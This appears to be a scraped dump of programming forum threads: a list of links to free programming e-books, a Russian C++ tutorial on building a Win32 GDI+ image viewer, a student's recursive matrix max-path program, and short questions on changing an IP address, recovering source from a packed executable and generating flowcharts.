http://www.phptr.com/promotion/1484?redir=1
An Introduction to GCC
http://www.linuxtopia.org/online_books/an_..._gcc/index.html
Linux http://2020ok.com/3756.htm
Using the GNU Compiler Collection (GCC)

http://www.linuxtopia.org/online_books/pro...tion/index.html
Bash Reference Guide
http://www.linuxtopia.org/online_books/bas...uide/index.html
Bash Guide for Beginners
http://www.linuxtopia.org/online_books/bas...ners/index.html
Advanced Bash Scripting Guide
http://www.linuxtopia.org/online_books/adv...uide/index.html
Linux Kernel Module Programming Guide
http://www.linuxtopia.org/online_books/Lin...uide/index.html
Red Hat Linux Developer Tools Guide
http://www.linuxtopia.org/online_books/red...uide/index.html
Linux Debugging with gdb Guide
http://www.linuxtopia.org/online_books/red..._gdb/index.html
Using cpp, the C Preprocessor Guide
http://www.linuxtopia.org/online_books/pro...ssor/index.html

Lisp

Loving Lisp - the Savy Programmer's Secret Weapon
http://www.markwatson.com/opencontent/lisp_lic.htm
List Programming http://2020ok.com/3981.htm

Open Source

Rapid Application Development with Mozilla
http://www.phptr.com/promotion/1484?redir=1
Creating Applications with Mozilla
http://books.mozdev.org/chapters/index.html
Free as in Freedom
http://www.oreilly.com/openbook/freedom/index.html
Managing Projects with GNU make, 3rd Edition
http://www.oreilly.com/catalog/make3/book/index.csp
OpenSources: Voices from the Open Source Revolution
http://www.oreilly.com/catalog/opensources/book/toc.html
Understanding Open Source and Free Software Licensing
http://www.oreilly.com/catalog/osfreesoft/book/
Embedded Software Development with eCos
http://www.phptr.com/promotion/1484?redir=1
Open Source Security Tools: A Practical Guide to Security Applications
http://www.phptr.com/promotion/1484?redir=1

Perl

HTMLified Perl 5 Reference Guide
http://www.oopweb.com/Perl/Documents/Perl5...lumeFrames.html
Perl 5 Documentation
http://www.oopweb.com/Perl/Documents/PerlD...lumeFrames.html
Perl for Perl Newbies
http://www.oopweb.com/Perl/Documents/P4PNe...lumeFrames.html
Perl for Win32 FAQ
http://www.oopweb.com/Perl/Documents/PerlW...lumeFrames.html
Picking Up Perl
http://www.oopweb.com/Perl/Documents/Picki...lumeFrames.html
Picking Up Perl
http://www.linuxtopia.org/online_books/perl/index.html
Perl Programming
http://www.2020ok.com/4045.htm
Practical Perl Programming
http://www.oopweb.com/Perl/Documents/ppp/VolumeFrames.html
Beginning Perl
http://www.perl.org/books/beginning-perl/
Impatient Perl
http://www.perl.org/books/impatient-perl/
Extreme Perl
http://www.extremeperl.org/bk/home
MacPerl: Power & Ease
http://macperl.com/ptf_book/r/MP/i2.html
Embedding Perl in HTML with Mason
http://www.masonbook.com/
Perl for the Web
http://www.globalspin.com/thebook/
Practical mod_perl (1st edition)
http://modperlbook.com/
Web Client Programming with Perl
http://www.oreilly.com/openbook/webclient/
Perl 5 By Example
http://www.computer-books.us/perl_0010.php
An Introduction to Perl
http://www.linuxtopia.org/Perl_Tutorial/index.html

PHP

Practical PHP Programming
http://www.hudzilla.org/phpbook/
A Programmer's Introduction to PHP 4.0 -http://www.apress.com/free/
PHP 5 Power Programming
http://www.computer-books.us/php_2.php
PHP Programming http://2020ok.com/295223.htm
Practical PHP Programming
http://www.computer-books.us/php_3.php

Prolog

Adventure in Prolog
http://www.amzi.com/AdventureInProlog/
Building Expert Systems in Prolog -http://www.amzi.com/ExpertSystemsInProlog/
Prolog programming http://2020ok.com/295223.htm
Prolog Programming A First Course
http://computing.unn.ac.uk/staff/cgpb4/prologbook/

Python

Non-Programmers Tutorial for Python
http://rupert.honors.montana.edu/~jjc/easy...ut/easytut.html
Official Python Documentation
http://www.python.org/doc/current/
Text Processing in Python -http://gnosis.cx/TPiP/
Python Reference Manual
http://docs.python.org/ref/ref.html
Python Imaging Library Handbook -[http://www.pythonware.com/library/the- pyth...ing-library.htm](http://www.pythonware.com/library/the-python-imaging- library.htm)
How to Think Like a Computer Scientist - Learning with Python
http://www.greenteapress.com/thinkpython
Dive Into Python -http://diveintopython.org/
Python Programming http://2020ok.com/285856.htm
Thinking in Python
http://mindview.net/Books/TIPython
A Byte of Python
http://www.ibiblio.org/g2swap/byteofpython/read/

Ruby

Programming Ruby - The Pragmatic Programmer's Guide (First Edition)
http://www.ruby-doc.org/docs/ProgrammingRuby/
Why's (Poignant) Guide to Ruby
http://poignantguide.net/ruby/ <–the funniest programming book I have ever seen!

Samba

Samba-3 by Example: Practical Exercises to Successful Deployment
http://www.phptr.com/promotion/1484?redir=1
Samba-3 by Example: Practical Exercises to Successful Deployment, 2nd Edition
http://www.phptr.com/promotion/1484?redir=1
The Official Samba-3 HOWTO and Reference Guide
http://www.phptr.com/promotion/1484?redir=1
Implementing CIFS: The Common Internet File System
http://www.phptr.com/promotion/1484?redir=1

SQL

Comparison of Different SQL Implementations
http://www.computer-books.us/sql_0004.php
SQL - A Practical Introduction
http://www.managedtime.com/freesqlbook.php3
Introduction To Structured Query Language
http://www.computer-books.us/sql_2.php
Practical PostgreSQL
http://www.opendocspublishing.com/ppbook/

UNIX

FreeBSD Handbook
http://www.freebsd.org/doc/en_US.ISO8859-1...book/index.html
Unix http://2020ok.com/3778.htm
The UNIX-HATERS Handbook
http://research.microsoft.com/%7Edaniel/unix-haters.html

Visual Basic and VB.net

Programming VB.NET - A Guide For Experienced Programmers
http://www.apress.com/free/
Upgrading Microsoft Visual Basic 6.0 to Microsoft Visual Basic .NET
http://msdn.microsoft.com/vbrun/staythepat...s/upgradingvb6/
Visual Basic http://2020ok.com/3996.htm
Introducing Visual Basic 2005 for Developers
http://msdn.microsoft.com/vbrun/staythepat...05/default.aspx

XML

OpenOffice.org XML Essentials
http://books.evc-cit.info/

Misc. stuff that is worth reading

FREE Trade Magazine Subscriptions & Technical Document Downloads
http://i.nl03.net/ltr0/?_m=01.009i.nv.mfm.nv
The Future does not compute
http://www.praxagora.com/stevet/fdnc/toc.html
The Cathedral and the Bazaar
http://www.catb.org/~esr/writings/cathedral-bazaar/

Изображения в ассортименте
ID: 6765d804b4103b69df375b92
Thread ID: 10537
Created: 2006-08-14T18:02:32+0000
Last Post: 2006-08-14T18:02:32+0000
Author: Great
Replies: 0 Views: 3K

Article: Изображения в ассортименте
Author: Great
Date: 24.07.2006
Theme: Coding
Lang.: C++
Base: Win32 GUI
/**************************************************************************/

// I. Что такое GDI+

Я решил рассказать тебе о том, как удобно обрабатывать изображения в Windows. Например, нужно тебе нарисовать изображение из файла. Я думаю, не самый лучший способ убить время - кодить жуткую последовательность из CreateFile, CreateFileMapping, MapViewOfFile, CreateBitmapIndirect и SelectObject. К тому же, запутаться будет проще простого. Есть более простое решение - библиотека GDI+ от нашего старого знакомого дяди Билла. Она экспортирует классы (точнее, не совсем классы - экспортирует она так называемые Flat API, а в хидерах описаны классы, все функции которых строятся на этих flat API. Весьма интересный способ), с помощью которых легко можно загрузить/отобразить/модифицировать/сохранить изображение. А самое приятное - GDI+ входит в стандартную поставку Windows 98/Me, Windows XP, Windows 2000, Windows NT 4.0 SP6 (открой %WINDIR% и поищи поиском файлик gdiplus.dll). Заголовки и библиотека импорта для нее есть в Microsoft Visual Studio 2005, а в VC++ 6.0 нет (у меня, по крайней мере :)), поэтому я прилагаю к статье все хидеры и библиотеку импорта. Все это добро скармливается компилеру и линкеру VC++ 6.0 (правда, перед включением хидеров нужно будет написать typedef ULONG *ULONG_PTR).

// II. С чем его едят

А едят его очень просто :). Сначала нужно инициализировать GDI+ следующими строками кода:

Code:Copy to clipboard

// переменные для работы с GDI+
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR           gdiplusToken;
// Инициализируем GDI+
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

В конце нужно его отрубить такой строкой:

Code:Copy to clipboard

GdiplusShutdown(gdiplusToken);

Ну а работать с GDI проще простого. Сначала создаем объект класса Graphics (это некий прототип HDC из GDI. Как написано в MSDN, класс Graphics предоставляет методы для рисования линий, кривых, фигур, изображений и текста):

Code:Copy to clipboard

Graphics graph(hdc); // создаем объект на базе контекста устройства, чей хендл hdc

Хотим нарисовать закрашенный прямоугольник - нет проблем:

Code:Copy to clipboard

SolibBrush redbrush(Color(255, 0, 0));
graph.FillRectangle(&redbrush, 0, 0, 100, 100);

Хотим картинку загрузить - пожалуйста:

Code:Copy to clipboard

Image img(L"E:\\Windows\\winnt.bmp");
graph.DrawImage(&img, 0, 0); // последние два параметра - координаты X,Y точки, с которой следует вывести заветное изображение

Оказывается, его так же просто можно и сохранить. Для этого есть метод Save класса Image, которому можно передать 3 аргумента - имя файла (в юникоде, GDI+, к сожалению, не понимает ANSI), Class ID требуемого кодека (ведь можно загрузить файл в одном формате,а сохранять в другом) и параметры кодека (например, для jpeg можно указать степень сжатия). Получить ClSID кодека по его Mime-типу (например, image/png) можно с помощью функции GetEncoderClassid, код которой есть в исходнике к статье и который я честно переписал из MSDN (он получает список всех кодеков вызовом GetImageEncoders и просто ищет в нем нужный).

// III. Вьювер изображений

Чтобы просто так не играться с GDI+, напишем что-нибудь полезное, например, вьювер изображений. Конечно, до ACDSee или Ifran View мы не дотянем, да и у нас нет такой цели.
Писать будем на чистом API, поклонников MFC просьба удалиться (я считаю, что научиться вызывать GetDlgItemText вместо UpdateData и DialogBoxParam вместо DoModal несложно, зато пользы от этого будет немало в виде быстродействия и сокращения размеров экзешника).
Примерный скелет программы на API с показом окошка, я думаю, тебе знаком:

Code:Copy to clipboard

WinMain()
{
        готовим WNDCLASSEX
        вызываем CreateWindow
        while (GetMessage(&msg, NULL, 0, 0)) 
        {
                if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
                {
                        TranslateMessage(&msg);
                        DispatchMessage(&msg);
                }
        }
}

WndProc()
{
        обрабатываем сообщения от Windows
}

Нам понядобятся глобальные переменные для работы GDI+:

Code:Copy to clipboard

GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR           gdiplusToken;

Перед вызовом CreateWindow стартуем GDI+, а после получения WM_QUIT - завершаем:

Code:Copy to clipboard

        // Инициализируем GDI+
        GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

        // Создаем окно
        if(!(hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
                CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL)))
        {
                MessageBox(0, "Unable to create window", 0, MB_ICONERROR);
                return FALSE;
        }

        < ... >

        while (GetMessage(&msg, NULL, 0, 0)) 
        {
                if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
                {
                        TranslateMessage(&msg);
                        DispatchMessage(&msg);
                }
        }

        GdiplusShutdown(gdiplusToken);

        return (int)msg.wParam;

В самом вьювере реализуем следующие фичи:
- полноэкранный режим. Где ты видел нормальный вьювер без полноэкранного режима? :)
- авто-сжатие изображения до размеров окна (опционально). Тоже необходимая штука
- zoom и сохранение зум-множителя при открытии нового изображения (опционально)
- поворот изображения (90/180/270 градусов (не алкогольных, а угловых:)))
- переход к следующему/предыдущему файлу при повороте колеса мыши. Очень удобная вешь
- Drag & Drop
- анимация при показе/уничтожении окна. Так красивее :)

Разберем каждую фичу отдельно.

  1. Полноэкранный режим.
    Реализовывать будем самым банальным образом, как это обычно делается в Windows
  • создается окно со стилями (или ставятся существующему) WS_EX_TOPMOST, WS_POPUP|WS_VISIBLE (я еще добавил WS_EX_APPWINDOW и WS_SYSMENU), ему ставятся размеры, равные размерам экрана и оно закрашивается нужным цветом фона. Например, если дизассемблировать стандартную виндовую заставку logon.scr, можно увидеть следующий код (я перевел на С++ для удобства):

Code:Copy to clipboard

WNDCLASS wc;
.....
RegisterClassW(&wc);
/* вот это нам интересно */
CreateWindowExW(WS_EX_TOPMOST, lpClassName, lpWindowName, WS_POPUP|WS_VISIBLE, ..... )

Поскольку у нас окно уже есть, будем делать так:

Code:Copy to clipboard

/* вход в фулскрин */
// Ставим стили
SetWindowLong(hWnd, GWL_STYLE, WS_POPUP|WS_VISIBLE|WS_SYSMENU);
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOPMOST|WS_EX_APPWINDOW);
// Сохраняем положение
GetWindowRect(GetDesktopWindow(), &rt);
GetWindowPlacement(hWnd, &oldPlacement);
// Развертываем на весь экран
MoveWindow(hWnd, rt.left, rt.top, rt.right-rt.left, rt.bottom-rt.top, 1);

/* выход из фулскрина */
// Восстанавливаем стили
// WINDOW_STYLE и WINDOW_EXSTYLE - определенные мной константы со стилями окна. Они же задаются и в CreateWindowEx
SetWindowLong(hWnd, GWL_STYLE, WINDOW_STYLE|WS_VISIBLE); // WS_VISIBLE для того, чтобы винда правильно перерисовала назлежащие окна (иначе, на них так и останутся части изображения и будет очень некрасиво)
SetWindowLong(hWnd, GWL_EXSTYLE, WINDOW_EXSTYLE);
// Восстанавливаем положение окна
SetWindowPlacement(hWnd, &oldPlacement);

Еще я добавил в меню (и обработку клавиши M на клаве) пункт "Скрывать меню в полноэкранном режиме". Думаю, его действия поянсять не надо :)

  1. и 3) Авто-сжатие до размеров окна. Позволим несчастному пользователю самому включать/выключать эту опцию :). Для этого в меню Options сделаем пункт Auto-shrink to fit, при нажатии на которой будем инвертировать галочку перед ним, а при перерисовке будем его проверять. Подробно останавливаться на галочке не буду :). А авто-сжатие реализуем простой проверкой - вмещается ли изображение или нет и соотвественно будем сжимать его. Чтобы его сжать, воспользуемся одним из перегруженных методов Graphics::D rawImage(Image,Point,int)**, который принимает в качестве параметров указатель на объект Image (что, собственно, будет и отображать), массив точек и длину массива - это координаты трех вершин параллелограмма, в котором нужно нарисовать изображение. Причем не каких попало, а именно левого верхнего, правого верхнего и левого нижнего углов. (число вершин должно быть равно трем, иначе метод вернет ошибку).

Code:Copy to clipboard

/* часть обработчика WM_PAINT */
int bAutoShrink =  GetMenuState(hOptionsMenu, IDM_AUTOSHRINK, MF_BYCOMMAND) & MF_CHECKED;
// Если картинка помещается на экране или юзеру не нужно авто-сжатие, отображаем как есть
if(
        ((signed)img->GetWidth() < rt.right && (signed)img->GetHeight() < rt.bottom) // картинка помещается
        || !bAutoShrink // не нужно сжатие
        )
{
        // Рисуем обычное изображение (с учетом зума)
        Point pts[3] = { // три координаты параллелограма для растягивания изображения
                Point((int)(rt.right/2 - img->GetWidth()*mult/2), (int)(rt.bottom/2 - img->GetHeight()*mult/2)),  // левыйверхний угол
                Point((int)(rt.right/2 + img->GetWidth()*mult/2), (int)(rt.bottom/2 - img->GetHeight()*mult/2)),  // правый верхний угол
                Point((int)(rt.right/2 - img->GetWidth()*mult/2), (int)(rt.bottom/2 + img->GetHeight()*mult/2))   // левыйнижний угол
        };
        if(gr->DrawImage(img, pts, 3)!=Ok)
                DrawErrorString((bFullScreenMode)?hScreenDC:hdc, hWnd, 20, "Times New Roman", L"An error ocurred while displaying image");
        }
else
{
        // Вычисляем параметры картинки, чтобы она уместилась на экране полностью
        double x_coeff = (double)img->GetWidth() / (double)rt.right;
        double y_coeff = (double)img->GetHeight() / (double)rt.bottom;
        double max_coeff = (x_coeff>y_coeff)?x_coeff:y_coeff; // выбираем наибольший коеффициент
        // Вычисляем новую ширину и высоту изображения
        int new_width  = (int) ((double)img->GetWidth() * mult / max_coeff);
        int new_height = (int) ((double)img->GetHeight() * mult / max_coeff);
        // Три координаты паралеллограма для рисования изображения
        Point destination[3] = {
                Point(rt.right/2 - new_width/2, rt.bottom/2 - new_height/2), // левый верхний угол
                Point(rt.right/2 + new_width/2, rt.bottom/2 - new_height/2), // правый верхний угол
                Point(rt.right/2 - new_width/2, rt.bottom/2 + new_height/2)  // левый нижний угол
        };
        // Рисуем сжатое изображение
        if(gr->DrawImage(img, destination, 3)!=Ok)
                DrawErrorString((bFullScreenMode)?hScreenDC:hdc, hWnd, 20, "Times New Roman", L"An error ocurred while displaying image");
}

Функция DrawErrorString(HDC hdc, HWND hWnd, int fontHeight, char* fontFace, LPWSTR error) (ее код найдешь в исходнике к статье, если хорошо поищешь :)) выводит ругань об ошибке на экран, если не удалось показать изображение (совсем забыл сказать, что Graphics::DrawImage() возвращает значение типа enum Gdiplus::Status, которое равно Ok, если отображение удалось :))

Заметь, что здесь уже реализован и зум - ширина и высота изображения умножается на множитель mult (который объявлен как double mult=1.0), который увеличивается/уменьшается при нажатии на клавиши + и -:

Code:Copy to clipboard

/* часть обработчика WM_CHAR */
else if(message == WM_CHAR)
{
        char ch = (char)wParam;
        // Зум
        bool bRepaint = false;
        if(ch == '+')
        {
                bRepaint = true;
                mult *= zoom;
        }
        else if(ch == '-')
        {
                bRepaint = true;
                mult /= zoom;
        }

Сохранение зум-множителя тоже позволим выбирать пользователю - аналогичный пунктик меню добавляем и при открытии нового файла, если этот пунктик не установлен, сбрасываем mult в еденицу, а если установлен - не трогаем.

  1. Поворот изображения. Для поворота нужно вызвать метод Image::RotateFlip и передать ему единственный параметр - значение типа enum Gdiplus::RotateFlipType, которое может быть таким: Rotate90FlipNone - поворот на 90 градусов по часовой стрелке, Rotate180FlipNone - поворот на 180 градусов или Rotate270FlipNone - поворот на 270 градусов по часовой стрелке. Я добавил и пункты в меню и обработку клавиш A,S,D - 270,180,90 градусов соответственно:

Code:Copy to clipboard

/* часть обработчика WM_CHAR */
        // Поворот
        else if(ch == 'a' || ch == 'A')
        {
                if(!img) // картинка не загружена
                        return MessageBox(hWnd, "Image is not loaded", "Image viewer", MB_ICONEXCLAMATION)?0:0; /*в любом случае возвращаем ноль*/
                img->RotateFlip(Rotate270FlipNone);
                bRepaint = true;
        }
        else if(ch == 's' || ch == 'S')
        {
                if(!img) // картинка не загружена
                        return MessageBox(hWnd, "Image is not loaded", "Image viewer", MB_ICONEXCLAMATION)?0:0; /*в любом случае возвращаем ноль*/
                img->RotateFlip(Rotate180FlipNone);
                bRepaint = true;
        }
        else if(ch == 'd' || ch == 'D')
        {
                if(!img) // картинка не загружена
                        return MessageBox(hWnd, "Image is not loaded", "Image viewer", MB_ICONEXCLAMATION)?0:0; /*в любом случае возвращаем ноль*/
                img->RotateFlip(Rotate90FlipNone);
                bRepaint = true;
        }
  1. Переход к соседнему файлу при повороте колеса мыши. Я думаю, ничего комментировать тут не надо, разве что подмечу, что при открытии файла мы записываем в глобальные переменные его имя и путь к содержащему его каталогу в переменные filename и path соответственно.

Code:Copy to clipboard

/* обработчик WM_MOUSEWHEEL */
// поворот колеса мыши. При повороте колеса будем проходить по каталогу вверх/вниз, как в продвинутых вьюверах
else if(message == WM_MOUSEWHEEL)
{
        // Коэффициент поворота колеса. Число, кратное WHEEL_DELTA (120). Если оно >0 - поворот вверх, <0 - поворот вниз
        int zDelta = GET_WHEEL_DELTA_WPARAM(wParam) / WHEEL_DELTA;
        if(!img) // картинка не загружена
                return 0;

        // Имя предыдущего файла (если поворот вверх - мы открываем предыдущий файл)
        char* prev = NULL;
        // Флаг, указывающий на что, что предыдущий файл был текущим открытым файлом
        //  (если поворот вниз и флаг установлен - открываем текущий файл)
        bool bPrevIsOur = false;
        // Устанавливаем текущий каталог, в котором лежит открытый файл
        SetCurrentDirectory(path);
        // Ищем первый файл
        WIN32_FIND_DATA wfd = {0};
        HANDLE hSearch = FindFirstFile("*.*",  &wfd);
        if(hSearch == (HANDLE)-1)
                return 0;
        // Выбран ли пункт меню Options->Don't clear image zoom multiplier - сбрасываем в 1 множитель при открытии нового файла или нет
        bool bSaveMult =  (bool)(GetMenuState(hOptionsMenu, IDM_SAVEMULT, MF_BYCOMMAND) & MF_CHECKED);
        do
        {
                // Сравниваем расширение файла с заданными расширениями графических файлов
                char* ext = strrchr(wfd.cFileName, '.');
                if(!ext)
                        continue;
                ext++;
                // Не изображение - переходим к следующему файлу
                if(!(!lstrcmpi(ext, "bmp") || !lstrcmpi(ext, "jpeg") || !lstrcmpi(ext, "jpg") || !lstrcmpi(ext, "gif") || !lstrcmpi(ext, "tiff")
                || !lstrcmpi(ext, "png")))
                        continue;
                // Файл совпал с открытым
                if(!lstrcmpi(wfd.cFileName, filename))
                {
                        // Устанавливаем флаг
                        bPrevIsOur = true;
                        // Если хотят предыдущий файл - открываем его, обновляем окно и корректируем заголовок
                        if(prev && zDelta>0)
                        {
                                // открываем
                                if(!bSaveMult)
                                        mult = 1.0;
                                delete img;
                                wchar_t wfile[1024];
                                MultiByteToWideChar(CP_ACP, 0, prev, -1, wfile, 1023);
                                img = new Image(wfile);
                                // обновляем окно
                                GetClientRect(hWnd, &rt);
                                InvalidateRect(hWnd, &rt, TRUE);
                                // ставим правильный заголовок окна
                                filename = prev;
                                char title[1024];
                                wsprintf(title, "%s\\%s - Image viewer", path, filename);
                                SetWindowText(hWnd, title);
                                return 0;
                        }
                }
                // Если предыдущий файл совпал с открытым и хотят следующий - открываем, обновляем окно и корректируем заголовок
                else if(bPrevIsOur && zDelta<0)
                {
                        if(!bSaveMult)
                                mult = 1.0;
                        delete img;
                        wchar_t wfile[1024];
                        MultiByteToWideChar(CP_ACP, 0, wfd.cFileName, -1, wfile, 1023);
                        img = new Image(wfile);
                        GetClientRect(hWnd, &rt);
                        InvalidateRect(hWnd, &rt, TRUE);
                        filename = strdup(wfd.cFileName);
                        char title[1024];
                        wsprintf(title, "%s\\%s - Image viewer", path, filename);
                        SetWindowText(hWnd, title);
                        return 0;
                }
                // Записываем новое значение имени предыдущего файла
                if(prev)
                        free(prev);
                prev = strdup(wfd.cFileName);
        }
        while(FindNextFile(hSearch, &wfd)); // пока есть необработанные файлы в каталоге
}

Вот такой вот некислый код наколбасил я почти с первого раза :).

  1. Drag & Drop. Реализация проста как арбуз: если при вызове CreateWindowEx установить расширенный флаг WS_EX_ACCEPTFILES, то в окно можно будет перетаскивать файлы из эксплорера. Мы будем принимать файлы только поштучно (мы же не можем открыть 5 файлов сразу, правда?). При перетаскивании файлов винда посылает нашему окну сообщение WM_DROPFILES, передавая в параметрах хендл "упавших" файлов (я не виноват в таком обороте, Билл сам назвал эту операцию Drag & Drop - перетащить и уронить :)). По этому хендлу мы можем узнать о всех файлах, перетащенных в окно вызовом DragQueryFile(HDROP hDrop, int index, LPCTSTR file, int filelen). Если ей передать index=-1, то она вернет число файлов. Потом можно передать ей index=0 и указатель на строку, куда будет записано имя файла (включая путь к нему). Вот так это реализовано у меня:

Code:Copy to clipboard

/* обработчик WM_DROPFILES */
        // обрабатываем Drag & Drop
        else if(message == WM_DROPFILES)
        {
                HDROP hDrop = (HDROP)wParam;
                // Получаем количество файлов
                UINT nFiles = DragQueryFile(hDrop, -1, 0, 0);
                if(nFiles == 1)
                {
                        char file[1024];
                        // Информация о первом файле
                        DragQueryFile(hDrop, 0, file, 1023);
                        if(img)
                                delete img;
                        wchar_t wfile[1024];
                        MultiByteToWideChar(CP_ACP, 0, file, -1, wfile, 1023);
                        // Открываем
                        img = new Image(wfile);
                        GetClientRect(hWnd, &rt);
                        // обновляем вид
                        InvalidateRect(hWnd, &rt, TRUE);
                        filename = strdup(file);
                        filename = strrchr(file, '\\')+1;
                        path = strdup(file);
                        *strrchr(path, '\\')=0;
                        // изменяем заголовок окна
                        char title[1024];
                        wsprintf(title, "%s - Image viewer", file);
                        SetWindowText(hWnd, title);
                        return 0;
                }
                DragFinish(hDrop);
        }
  1. Ну и последний штрих - анимация окна. Реализуется вызовом AnimateWindow(HWND hwnd, DWORD dwTime, DWORD dwFlags) с передачей ей хендла окна, времени анимации в миллисекундах (я использую стандартные 200мс) и флагов, которые могут быть соответственно равны либо AW_BLEND|AW_ACTIVATE для показа окна или AW_BLEND|AW_SPOILER для скрытия.

Еще, при большом желании, в сорце можно найти код для сохранения файла.

// III. Outro
Я и так уже накатал на 19 килобайт, поэтому в заключении буду краток :). Эта статья далеко не претендует на полное описание возможностей GDI+, виндовых функций (я не маразматик, чтобы переписывать MSDN :)). Далее, не надо писать отзывы типа "все равно Ifran View лучше" - я не старался создать шедевр. А вообще, получилось не так уж и плохо, не правда ли?
И еще пара слов. Поскольку мы писали на чистом WinAPI, у меня размер экзешника составил 17,4 Кб (учитывая, что в нем есть ресурсы). Я указал оптимальные опции линкера (например, совмещение секций - /MERGE), но, надеюсь, у тебя получится еще меньше. Дерзай :)

Attached files:
Хидеры GDI+:

Сорцы:

Задача с матрицей
ID: 6765d804b4103b69df375b94
Thread ID: 10144
Created: 2006-05-29T17:48:40+0000
Last Post: 2006-05-31T07:19:49+0000
Author: Tama
Replies: 6 Views: 3K

Есть задачка:
Дана матрица a(m, n). Найдите в ней путь с максимальной суммой от какого- нибудь элемента первой строки до какого-нибудь элемента последней строки. Ходить можно вниз по вертикали или диагоналям.
Задачу нужно решить на С++ с помощью рекурсии, не используя STL и др. наворотов.

Проблема: есть рекурсивная функция, она работает, правильно ищет максимальную сумму, а вот с запоминанием пути выходит проблема. Запись в массивы идет неправильно... Помогите пожалуйста!

Код полностью:

Code:Copy to clipboard

#include <iostream> 
#include <conio.h> 
#include <math.h> 
#include <vector> 
#include <time.h> 

using namespace std; 

//Задаем глобальную матрицу статической размерности. 
const int n=5; 
const int m=6; 
int matrix[n][m]; 

//В структуры подобного вида будет записан путь. 
struct element 
{ 
   int row; 
   int col; 
}; 
//Указатели на массив, содержащий путь. 
element *massiv2; 
element *massivtemp; 

void Entermatr(int, int); //Функция для ручного ввода матрицы. 
void Getmatr (int, int);  //Функция, задающая матрицу из случайных чисел 
void Myprint (int, int);  //Функция, которая выводит матрицу 
void Recfind(bool**, int&, int, int, int, element*, element*); //Рекурсивная функция поиска пути. 

int main() 
{ 
   //Выбор пользователя. 
   int choice; 
   cout<<"Sposob zadaniya matricy:"<<endl; 
   cout<<"(1) -- vvod s klaviatury\n(2) -- matrica iz sluchainyh chisel\n"; 
   cin>>choice; 
   switch (choice) 
   { 
   case 1: 
      { 
      cout<<"Razmernosti: "<<n<<" strok i "<<m<<" stolbcov."; 
      Entermatr (n,m); 
      break; 
      } 
   case 2: 
      Getmatr(n,m); break; 
   default: 
      cout<<"Wrong choice."; 
   } 

   //Обнуляем и инициализируем все вспомогательные переменные и указатели. 
   int sum=0; 
   massiv2=new element[n]; 
   massivtemp=new element[n]; 
   for (int i=0; i<n; i++) 
   { 
      massivtemp[i].col=0; 
      massivtemp[i].row=0; 
   } 
   for (int i=0; i<n; i++) 
   { 
      massiv2[i].col=0; 
      massiv2[i].row=0; 
   } 
    bool **field;  //двумерное "поле" 
    field =new bool*[n]; 
    for (int i=0; i<n; i++) 
    { 
        field[i]=new bool[m]; 
        for (int j=0; j<m; j++) field[i][j]=false;    // Первоначально никакую клетку не посетили 
    } 
    for (int i=0; i<m; i++)           // Проходим по элементам первой строки 
    { 
        int temp_sum=0; 
      //cout<<"\nJ:"<<i<<endl; 
        Recfind(field,temp_sum,0,i,0, massiv2, massivtemp); 
      //cout<<"\nSum:"<<sum; 
        if (temp_sum>sum) 
      { 
         sum=temp_sum; 
               } 
    } 
    cout<<"Max: "<<sum<<endl; 
    
   //Вывод результата от рекурсии. 
   cout<<"Here is the path according to the recursive algorithm:\n"; 
   for (int i=0; i<n; i++) 
      cout<<massiv2[i].row<<","<<massiv2[i].col<<endl; 
   Myprint(n,m); 
   delete []massiv2; 
    for (int i=0; i<n; i++) 
        delete []field[i]; 
    delete []field; 
   _getch(); 
   return 0; 
} 
void Entermatr(int n, int m) 
{ 
   for(int i=0;i<n;i++) 
   { 
      for(int j=0;j<m;j++) 
      cin>>matrix[i][j]; 
   } 
} 
void Getmatr (int n, int m) 
{ 
       int RANGE_MIN=0; 
       int RANGE_MAX=10; 
       srand((unsigned)time(NULL)); 
       for(int i=0;i<n;i++) 
       { 
           for(int j=0;j<m;j++) 
           matrix[i][j]= 
            static_cast<int>(((double)rand()/(double) RAND_MAX) * RANGE_MAX + RANGE_MIN); 
       } 
} 
void Myprint (int n, int m) 
{ 
    for(int i=0;i<n;i++) 
    {  
        cout<<endl; 
        for(int j=0;j<m;j++) 
            cout<<matrix[i][j]<<" "; 
    } 
    cout<<endl; 
} 
void Recfind(bool **field, int& sum, int i, int j, int s, element *massiv2, element *massivtemp) 
{ 
   //Условия выхода из рекурсии. 
    if (i<0 || i>=n || j<0 || j>=m) 
        return; 


    if (i==n-1) 
    { 
        if (s+matrix[i][j]>sum) 
      { 
         sum=s+matrix[i][j]; 
         for (int i=0; i<n; i++) 
         { 
            massiv2[i].col=massivtemp[i].col; 
            massiv2[i].row=massivtemp[i].row; 
         } 
                        } 
        return; 
    } 
    if (!field[i][j]) 
    { 
      int temp_sum=0; 
        field[i][j]=true; 
      massivtemp[n-i-1].row=i; 
      massivtemp[n-i-1].col=j; 
        int temp=s+matrix[i][j]; 
      Recfind(field,sum,i+1,j,temp, massiv2,massivtemp); 
      Recfind(field,sum,i+1,j-1,temp, massiv2, massivtemp); 
      Recfind(field,sum,i+1,j+1,temp, massiv2, massivtemp); 
      for (int i=0; i<n; i++) 
      { 
         massivtemp[i].col=0; 
         massivtemp[i].row=0; 
      } 
       
      field[i][j]=false; 
    } 
}
C++ и IP
ID: 6765d804b4103b69df375b95
Thread ID: 8343
Created: 2006-05-09T10:37:10+0000
Last Post: 2006-05-09T15:49:51+0000
Author: Kondrat
Replies: 4 Views: 3K

Как программно поменять IP не перегружая тачку (XP) с помощью Builder(a)?

Получание сорсов программы на C++
ID: 6765d804b4103b69df375b96
Thread ID: 10142
Created: 2006-04-29T06:58:35+0000
Last Post: 2006-05-02T07:40:39+0000
Author: Fatal
Replies: 11 Views: 3K

Есть вопрос следующего плана. Жыл-был ЕХЕшник на С++ упакованный ASPack'ом, упаковщие был снят, теперь хотелось бы поковыряться в сорцах программы. Дизассемблирование работает но это не есть удобно. В общем вопрос, можно ли вытащить сорцы программы или нет?

С++ source >> блок-схема
ID: 6765d804b4103b69df375b98
Thread ID: 7393
Created: 2006-03-13T16:02:59+0000
Last Post: 2006-03-17T13:18:21+0000
Author: {{4x}}
Replies: 8 Views: 3K

